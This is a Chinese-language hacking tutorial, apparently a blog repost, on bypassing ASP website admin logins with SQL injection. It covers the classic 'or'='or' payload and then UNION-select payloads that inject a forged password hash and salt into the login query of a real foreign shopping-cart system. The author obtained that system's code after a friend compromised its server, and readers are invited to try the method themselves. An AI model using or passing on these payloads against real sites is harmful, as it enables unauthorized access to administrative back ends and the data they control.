SQL另类注入之绕过后台登陆验证

http://www.myhack58.com/Article/html/3/7/2010/28349_3.htm

这段时间在学习Linux的基础应用,玩腻了脚本注入后总觉得黑客方面老是停留在整天玩注入漏洞,或者其他的脚本漏洞技术也没法得到提高。所以静下心来给自己安排了个学习计划,先从Linux学起,完了再学习编程以及业余时间深入研究下脚本及数据库。

最近在学习之余还是不忘和各位群友闲谈扯蛋,也从他们身上学到了不少经验和技巧,前不久就从自然哪里学到一个另类的SQL注入技巧。当时是自然给出的一个例子,直接用一个语句绕过后台登陆验证进入到了后台。当时看了觉得挺不错,所以下来就深入的研究了下其原理,对其也有一定的了解。

好了,废话不多说,下面直接进入正题吧。一提到绕过后台登陆验证直接进入网站后台管理系统,想必大家都能想到经典的万能密码:'or'='or'吧,今天要给大家分享的一个技巧也和这个差不多,不过是这个方法比较另类。

在讲该技巧之前我们还是先来简单回顾下经典的'or'='or'原理,更详细的原理大家可以网上搜索相关资料了解下。我们都知道后台登陆验证一般的方式都是将用户在登录口输入的账号密码拿去与数据库中的记录做验证,并且要求输入的账号密码要等于数据库中某条记录的账号密码,验证通过则程序就会给用户一个sssion,然后进入后台,否则就返回到登陆口。而对于'or'='or'漏洞,我们先来看以下代码:

<%
pwd = request.form("pwd") 获取用户输入的密码,再把值赋给pwd
name = request.form("name") 获取用户输入的用户名再把值赋给name
都没有进行任何过滤
Set rs = Server.CreateObject("ADODB.Connection")
sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'" 将用户名和密码放入查询语句中查询数据库,
Set rs = conn.Execute(sql) 执行SQL语句,执行后并得到rs对象结果,“真”或“假”
If Not rs.EOF = True Then 如果是真则执行以下代码
Session("Name") = rs("UserName") 将UserName的属性赋给Name的Session自定义变量
Session("pwd") = rs("PassWord") 将PassWord的属性赋给pwd的Session自定义变量
Response.Redirect("Manage.asp")了 利用Response对象的Redirect方法重定向Manage.asp
Else 否则执行以下代码
Response.Redirect "Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!"
End If
%>

以上就是一个典型的'or'='or'漏洞例子,针对以上例子我们只需要在用户名处提交'or'='or',这样就使得SQL语句变成:select * from Manage_User where UserName='’or‘='or'' And PassWord='123456'。执行后得到rs对象的结果为真,这样就能顺利的进入后台了。

为了避免出现这个漏洞,现在基本上的后台验证都不会使用这类方式,而是取得用户输入的账号和密码,在SQL中先将用户名与数据库中的记录做对比,若数据库中某条记录的用户名等于用户输入的用户名,则取出该条记录中的密码,然后再与用户输入的密码对比,正确就通过,不正确就返回。例如一下代码:

<%
pwd = request.form("pwd") 获取用户输入的密码,再把值赋给pwd
name = request.form("name") 获取用户输入的用户名再把值赋给name
都没有进行任何过滤
Set rs = Server.CreateObject("ADODB.Connection")
sql = "select * from Manage_User where UserName='" & name & "'" 将用户名和密码放入查询语句中查询数据库,
Set rs = conn.Execute(sql) 执行SQL语句,执行后并得到rs对象结果,“真”或“假”
If Not rs.EOF = True Then 如果是真则执行以下代码
password=rs("password") 取得密码数据
if password=md5(pwd) then
Session("Name") = rs("UserName") 将UserName的属性赋给Name的Session自定义变量
Session("pwd") = rs("PassWord") 将PassWord的属性赋给pwd的Session自定义变量
Response.Redirect("Manage.asp")了 利用Response对象的Redirect方法重定向Manage.asp
else
response.write "密码错误!!!!"
end if
Else 否则执行以下代码
Response.Redirect "Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!"
End If
%>

通过以上例子可知道,密码的验证不再是直接在SQL语句中做验证了,而是根据用户名,取出对应的密码,然后再与用户输入的做对比。这样一来就造成了我们不能使用'or'='or'绕过了。有的朋友在这里可能有疑问了,若我们提交'or'='or'那么SQL语句就变成:select * from Manage_User where UserName=''or'='or'',这样一来得到的结果也应该是真啊,为什么就不能绕过呢?

其实就算SQL查询的地方得到的值是真,可别忘了后面还有密码的验证,若我们提交以上SQL,得到账号是真的,那么后面根据账号去数据库中取出来的密码与用户提交的密码是绝对通不过的。

好了,对于'or'='or'漏洞的分析先就暂且说到这里,以上的均为我个人对该漏洞的理解,并不代表就是完全正确的,若有不当的地方还望大家多多指教,接下来就是我们的重头戏了。

昨天在帮流年看站的时候就遇到了一个旁站,当时是想注入,后来流年拿下服务器后顺便就将程序打包下来我研究了下,经过两个多小时的分析和测试,终于可以成功绕过了那套系统的后台登陆验证,接下来就结合程序代码,将我的整个分析过程给大家详细讲解下。

程序类型是国外的一个小型商城系统,在检测的时候我就顺便构造了个关键词用google搜索下发现还有不少的网站。加之又是国外的,所决定要深入研究下,不过国外程序员在写程序的时候习惯和国内还是有不少的差异,往往国外的目录文件和程序结构分枝都很深,这点还让我在分析源代码的时候被代码牵着鼻子到处转……

 

在拿到程序原本是首先看前台的注入的,但在打开数据库找到管理密码后我就放弃了从前台寻找注入的打算,因为管理的密码根本没法破解,就算找到注入用处也不大。因此要寻找程序的致命弱点只有往网后台或者无需验证的上传页面方向去了,然后查看了下所有的上传都需要后台验证才能上传。到此,唯一的路就是想法突破后台了。

首先我们来看看后台登陆口(login.asp)的代码:

<%
if request.form("Submit") = " Login " then
if trim(request("yanzheng"))=session("ValidCode") then
if DoLogin(request.form("LoginId"),request.form("Password")) = 1 then
response.redirect("index.asp")
end if
else

response.Redirect("login.asp?p=login")
end if
end if
%>

通过以上代码可以看出,login.asp页面验证登陆是将用户输入的账号和密码交给DoLogin函数验证,在DoLogin函数中,验证通过将返回一个值为1(通过验证进入后台),反之不等于则重定向到登陆页面。我们现在来看看DoLogin函数的内容。

private function DoLogin(login, pass)
set rsLogin = server.createobject("ADODB.recordset")
rsLogin.cursortype = 3

strSQL = "Select admin_id, admin_salt, admin_password FROM admin_users Where admin_login = '" & login & "'"
rsLogin.open strSQL, adoCon
response.Write strSQL
if not rsLogin.eof then
correctPass = rsLogin("admin_password")
controlPass = hashEncode(pass & rsLogin("admin_salt"))
if correctPass = controlPass then
DoLogin = 1
session("admin_user_id") = rsLogin("admin_id")
session("session_id") = session.SessionID
session("order_flag") = 1
else
DoLogin = 0
end if
else
DoLogin = 0
end if

rsLogin.close
set rsLogin = nothing
end function

“private function DoLogin(login, pass)”中的login何pass分别就是在上面的login.asp中的request.form("LoginId")和request.form("Password"),从以上代码中可以看到用户输入的账号和密码没有经过任何的过滤就带入到SQL语句中查询了。查询后的验证方式就和上文中提及的验证方式大同小异了。

现在知道用户输入的账号和密码没有经过过滤(这点很重要),接下来我们还需要清楚管理员表的结构,这里我给大家截图上来,管理员表名是admin_users,结构如下图:
 

 

可以看到管理员表中有四个字段,分别是ID号、用户名、以及salt和密码,密码在第四列。有了这些信息后我们就要开始着手构造SQL语句绕过后台登陆了。

通过对登陆验证代码的分析,我们可以将整个验证过程简单描述为:验证函数取得用户输入的账号和密码,然后从管理员表中查询某条用户名等于用户输入用户名的记录,如果查询后得知管理表中存在某条记录,则继续取出该条记录的密码,然后再将此密码与用户输入的密码进行对比(用户输入的密码要经过加密),若密码验证成功则通过后台验证。

现在我们的突破策略就是:提交某个SQL语句,让程序从管理员表中查询某条用户名等于用户输入用户名的记录结果为真,这样程序就会继续验证密码,然后我们再让程序从上步查询中得到一个密码的密文,这样一来就会顺利的通过验证了。

突破程序查询用户名得到一个真值比较容易能做到,但后面的让程序同时得到一个密码的密文我想还真不容易办到,而且还要在一步中完成。但是办法确实是有的,这里我就直接给大家贴出来,这个办法也是我从自然兄那里学来的,说实在的我真是非常佩服想出这个办法的牛人。

在这里我们需要使用union联合查询语句来绕过用户名的验证,并让查询同时得到一个密码密文,假设现在的这个网站系统密码是使用md5加密,在用户名的地方填写: 'union select 1,2,3,'225cdc811adfe8d4' from admin_user where 'a'='a,然后密码我们输入:hack,这样就能顺利绕过了后台验证了。

union联合查询大家都不陌生,这里我就不详细说union联合查询的原理的,其实我也理解不是很深,没法用简洁的语言来真确表达,只是大概知道其意义。至于为什么要使用这样一个语句,大家可以参考上面我用红色字体表示的描述,再结合下面的说明自己体会。会网页编程的朋友应该不难理解,新手朋友就需要多下点功夫了。

在以上语句中要说的就两点,一是密文:225cdc811adfe8d4,这个正是密码hack的16为小写md5值,另外union select 后面跟的数据位数是4位,这个要取决于admin_users表的结构,见上文中admin_users表的截图,而密文225cdc811adfe8d4一定要放在第四位上,这个也取决于admin_users表的结构。并且还要加上单引号,因为225cdc811adfe8d4是字符,这个懂SQL语句的朋友应该清楚。

当我们提交'union select 1,2,3,'225cdc811adfe8d4' from admin_user where 'a'='a后我们再来分析下验证程序,首先SQL语句会变成:Select admin_id, admin_salt, admin_password FROM admin_users Where admin_login = ''union select 1,2,3,'225cdc811adfe8d4' from admin_user where 'a'='a' 仔细分析这个SQL语句可以得知,最终的执行结果是真,这样就解决了绕过用户名验证阶段,进入密码验证阶段。并且以上的语句执行后同时在返回的记录集中还能得到一个密码密文为'225cdc811adfe8d4'的值,这样在密码验证阶段中,就会将这个值与使用md5加密hack字符的结果对比,结果是一样的,最终就顺利的通过全部的验证了。可能这个对大多数朋友来说还是比较难理解,其实我也并未完完全全的理解,也只是理解了个大概,要想完完全全理解的话重点就在union联合查询的原理上了,能完完全全搞清楚union联合查询的原理话,这个应该就能很容易理解了。

 

到了这里,本篇文章的高潮就过了,看到这里有眉目的朋友就可以自己动手实践下了,要是还没有眉目那就继续返回去再看一遍文章。不过对于我测试的程序那套国外商城系统还没有完,接下来我们还要继续对那套系统进行分析,因为这套程序的管理密码是不可解的,不像是使用md5加密的那样,我们自己拿个密码加密下就可以的。

因为在绕过的时候我们提交的密码必须是密文,又因他系统不是MD5加密,所以我们要需要找到他系统使用的加密函数,把我们的密码加密才行。我们再返回去继续看DoLogin函数中密码验证的地方:

<% '已通过账号验证,开始密码阶段的验证
correctPass = rsLogin("admin_password") '取得数据库中的密文
controlPass = hashEncode(pass & rsLogin("admin_salt")) '将用户输入的密码加密并赋给变量controlPass
if correctPass = controlPass then '对比两个密文是否相同
DoLogin = 1
session("admin_user_id") = rsLogin("admin_id")
session("session_id") = session.SessionID
session("order_flag") = 1
else
DoLogin = 0
end if
%>

这里需要注意下controlPass = hashEncode(pass & rsLogin("admin_salt")) ,函数hashEncode就是密码的加密函数,pass是用户输入的明文密码,细心的朋友会发现,这里产生的最终密码密文不是直接加密用户输入的密文密码得到的,而是通过加密用户输入的明文密码与rsLogin("admin_salt")的值得到的,这个值可以在上文中admin_users表截图中可以看到也是加密的。这个就和国内的的程序有区别了,国内大多数都是直接加密用户输入的明文密码,然后再与数据库中密文对比的。

这样一来,就意味着我在用户名地方构造的语句不仅要提交最终的密文还需要提交产生这个密文的一部分(及时salt),所以我们不仅要找到他最终密文的加密函数,还要找到admin_salt值的加密函数。不过这些都比较容易了,salt的加密函数可以在后台添加用户代码中找到,因为这个salt是写入到管理员表中的,肯定在添加用户的时候进行的。

通过分析代码找到了添加用户名的函数:AddLogin,代码如下:

<%
private function AddLogin()
admin_login = request.form("admin_login") '取得输入的账号
password1 = request.form("password1") '取得输入的密码
password2 = request.form("password2") '取得确认密码

…………………………………………'省略若干

strSalt = getSalt(len(admin_login))
strSecret = hashEncode(password1 & strSalt)

…………………………………………'省略若干

rsAdmin.addnew()
rsAdmin("admin_login") = admin_login
rsAdmin("admin_salt") = strSalt
rsAdmin("admin_password") = strSecret
rsAdmin.update()
%>

通过以上代码可得知,管理员表中admin_salt的值等于以上代码中变量strSalt的值,而则等于getSalt(len(admin_login)),这就是重点,这个是使用getSalt函数对admin_login值长度的一个加密,而admin_login的值是用户输入的用户名。可以得知,最终的密码密文=(用户名长度加密的密文与明文密码)的加密。现在清楚了加密函数的方式,我们就要调用它的加密函数加密一个我们自己的账号密码了。

找到加密函数文件,随便一个程序(程序页面中需要包含加密函数文件),然后通过加密函数输出我们自定义的账号密码的密文,例如以下代码:

<%
username="enjoyhack"
password="hack"
salt= getSalt(len(username))
hash= hashEncode(password & salt)
response.Write "Salt:"+slat+"<br>Hash:"+hash
%>

这样就能输出salt和密码密文了,如下图:

 

得到Salt和最终密码密文后,我们就可以在登陆口使用以下语句绕过后台验证登陆到后台管理系统中了,用户名输入一下语句,密码输入hack:
' union select 1,'EDD6CF135','E37AD49EEA9C64CDE0E427C2DA7EA8BC15778F05' from admin_users where 'a'='a

  具体的过程就是这样了,文章到此也结束了,方法我也是从别人的地方学来的,并非原创。只不过是对当时需到的内容深入的分析了下,有不当的地方还望多多指教,欢迎跟帖讨论! 

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值